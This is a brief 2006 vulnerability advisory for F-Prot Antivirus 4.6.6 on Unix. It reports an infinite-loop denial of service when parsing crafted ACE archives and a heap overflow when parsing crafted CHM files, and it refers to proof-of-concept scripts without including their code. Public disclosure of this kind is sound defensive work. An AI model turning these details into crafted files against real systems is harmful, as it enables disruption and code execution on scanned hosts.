Name: F-Prot Antivirus for Unix: heap overflow and Denial of Service Vendor: http://www.f-prot.com Release date: 4 Dec, 2006 URL: http://gleg.net/fprot.txt Author: Evgeny Legerov <research (at) gleg (dot) net [email concealed]> I. DESCRIPTION Two vulnerabilities in F-Prot Antivirus 4.6.6 for Unix platforms could allow a remote attacker to cause a DoS or execute an arbitrary code. II. DETAILS 1. ACE file Denial of Service When parsing a specially crafted ACE compressed file F-Prot Antivirus will enter in an infinite loop. See fprot1.py for more details. 2. CHM file heap overflow When parsing a specially crafted CHM file a heap overflow will occur in F-Prot Antivirus. See fprot2.py for more details. III.
